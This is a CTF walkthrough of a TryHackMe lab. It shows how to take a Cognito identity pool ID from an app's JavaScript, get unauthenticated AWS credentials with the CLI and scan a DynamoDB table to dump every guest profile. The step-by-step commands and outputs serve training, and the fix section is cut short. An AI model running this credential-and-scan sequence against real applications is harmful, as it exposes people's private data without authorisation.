Room Link : https://tryhackme.com/room/hh-complimentary-05e0b604
When tackling cloud-based CTFs or real-world web applications, one of the most critical security boundaries to test is how an application handles unauthenticated guest access.
In this write-up, I will walk you through the step-by-step methodology for solving the Complimentary room on TryHackMe. We will look at how modern serverless web applications handle guest access under the hood, how the room briefing drops key hints, and how an over-privileged AWS IAM policy allows an unauthenticated guest to dump the entire database.
The Initial Hints & Strategy
The room briefing explicitly set the stage for how this web application operates:
“Lambo installed the Byte Lotus Wellness app… No account needed. No login screen. It just… knows things about you the moment you open it… Something still has to be deciding what you’re allowed to see… and whatever that something is, it isn’t checking very carefully.”
Additionally, the story post from @0xMia gave a direct clue about what to investigate:
“something has to be quietly handing it access behind the scenes… if you find whatever that something is, don’t just check what it gives YOU. ask it for more 👀”
Combining these clues with the room category (Cloud / Cognito Misconfiguration), the core strategy became clear:
- Find the backend mechanism: Inspect the front-end code to find the AWS Cognito Identity Pool used to grant unauthenticated guest access.
- Extract the credentials: Take those public configurations and use the AWS CLI to request temporary AWS IAM credentials.
- Test the actual IAM boundaries: Ignore what the front-end UI limits you to, and query the backend database directly to see if the IAM role allows scanning other guests’ records.
Step-by-Step Walkthrough
Step 1: Inspecting Front-End Source Code
After opening the target web application in the browser, I opened Developer Tools (F12) to inspect the application JavaScript (app.js).
Looking through the code, I found the exact AWS configuration block responsible for handing out access behind the scenes:

JavaScript
const IDENTITY_POOL_ID = "us-east-1:836c0949-292d-485b-b532-52d5ca7bb688";
const AWS_REGION = "us-east-1";
const TABLE_NAME = "complimentary-GuestWellnessProfiles";
AWS.config.region = AWS_REGION;
AWS.config.credentials = new AWS.CognitoIdentityCredentials({
IdentityPoolId: IDENTITY_POOL_ID,
});
Key Information Discovered:
- IDENTITY_POOL_ID: The Cognito Identity Pool ID configured to grant temporary AWS access to unauthenticated guest visitors.
- AWS_REGION: The AWS region (us-east-1).
- TABLE_NAME: The target DynamoDB table storing guest profiles (complimentary-GuestWellnessProfiles).
Step 2: Requesting an Identity ID via AWS CLI
With the IDENTITY_POOL_ID identified, I switched to my terminal. Before AWS Cognito issues temporary credentials, it requires an Identity ID tied to that pool.
I executed aws cognito-identity get-id:

Bash
aws cognito-identity get-id \
--region us-east-1 \
--identity-pool-id "us-east-1:836c0949-292d-485b-b532-52d5ca7bb688"
What this command does:
- aws cognito-identity get-id: Asks AWS Cognito to generate a unique session identifier (IdentityId) for an unauthenticated user requesting access to the pool.
Output:
JSON
{
"IdentityId": "us-east-1:4d571309-b007-c7f4-3b37-4d939ba55c13"
}Step 3: Exchanging the Identity ID for Temporary AWS Credentials
Next, I passed that IdentityId back to Cognito to receive temporary AWS security keys (AccessKeyId, SecretKey, and SessionToken).
I ran get-credentials-for-identity:

Bash
aws cognito-identity get-credentials-for-identity \
--region us-east-1 \
--identity-id "us-east-1:4d571309-b007-c7f4-3b37-4d939ba55c13"
What this command does:
- aws cognito-identity get-credentials-for-identity: Exchanges the unauthenticated IdentityId for actual temporary AWS IAM keys linked to the Identity Pool's guest role.
Output:
JSON
{
"IdentityId": "us-east-1:4d571309-b007-c7f4-3b37-4d939ba55c13",
"Credentials": {
"AccessKeyId": "ASIAU2VYTBGYKP67ULN3",
"SecretKey": "s20bKrmdV3va1tC8TQUoJ1lrc11yqAXRmXwkzqMi",
"SessionToken": "IQoJb3JpZ2luX2VjELv...",
"Expiration": "2026-07-29T20:56:55+01:00"
}
}Step 4: Loading the Temporary Credentials into the Terminal
To instruct the local AWS CLI to perform subsequent commands using these temporary credentials, I exported them as environment variables:
Bash
export AWS_ACCESS_KEY_ID="ASIAU2VYTBGYKP67ULN3"
export AWS_SECRET_ACCESS_KEY="s20bKrmdV3va1tC8TQUoJ1lrc11yqAXRmXwkzqMi"
export AWS_SESSION_TOKEN="IQoJb3JpZ2luX2VjELv..."
export AWS_DEFAULT_REGION="us-east-1"
To verify which IAM role I was currently operating as, I queried the AWS Security Token Service (STS):

Bash
aws sts get-caller-identity
What this command does:
- aws sts get-caller-identity: Returns identity details for the active AWS credentials set in the environment.
Output:
JSON
{
"UserId": "AROAU2VYTBGYCEB4JME2S:CognitoIdentityCredentials",
"Account": "332173347248",
"Arn": "arn:aws:sts::332173347248:assumed-role/complimentary-cognito-unauth-role/CognitoIdentityCredentials"
}This output confirmed that I had successfully assumed the complimentary-cognito-unauth-role.
Step 5: Direct Database Querying (Bypassing the App UI)
As @0xMia hinted in her post ("don't just check what it gives YOU. ask it for more"), the goal was to see if this guest identity could read data belonging to other hotel guests.
Instead of relying on the web application’s client-side filtering, I queried the DynamoDB table directly using aws dynamodb scan:

Bash
aws dynamodb scan --table-name complimentary-GuestWellnessProfiles
What this command does:
- aws dynamodb scan: Scans and retrieves all records from the target table (complimentary-GuestWellnessProfiles), ignoring client-side limitations.
Output:
JSON
{
"Items": [
{
"guest_id": { "S": "guest-vibe" },
"name": { "S": "Vibe (Move Fast & Break Things)" },
"email": { "S": "[email protected]" }
},
{
"guest_id": { "S": "guest-lambo" },
"name": { "S": "Lambo (@0xMia)" },
"email": { "S": "[email protected]" }
},
{
"guest_id": { "S": "guest-vip-042" },
"name": { "S": "Guest VIP-042" },
"notes": {
"S": "If you're reading this, the wellness app's guest role can read every profile, not just its own. THM{REDACTED_FLAG}"
}
}
],
"Count": 5,
"ScannedCount": 5
}The database query succeeded, returning all 5 guest records — including the flag stored inside the profile notes for Guest VIP-042.
Root Cause
The web application relied on JavaScript logic to request only the current visitor’s profile. However, the underlying IAM role (complimentary-cognito-unauth-role) granted full dynamodb:Scan permissions to unauthenticated users without any row-level restrictions.
How to Fix It
To secure DynamoDB access for unauthenticated Cognito identity pools, developers must apply Fine-Grained Access Control (FGAC) within the IAM policy using the dynamic variable
With this condition, DynamoDB ensures that guest users can only query database rows matching their assigned Cognito Identity ID, preventing unauthenticated cross-tenant data leaks.
Submit the Flag found and a earn a Raffle ticket. Happy Hacker’s Holiday

TryHackMe: “Complimentary” Room Walkthrough ( Hacker’s Holiday Challenge ) was originally published in InfoSec Write-ups on Medium, where people are continuing the conversation by highlighting and responding to this story.
SOCIAL SHARE CARD GENERATOR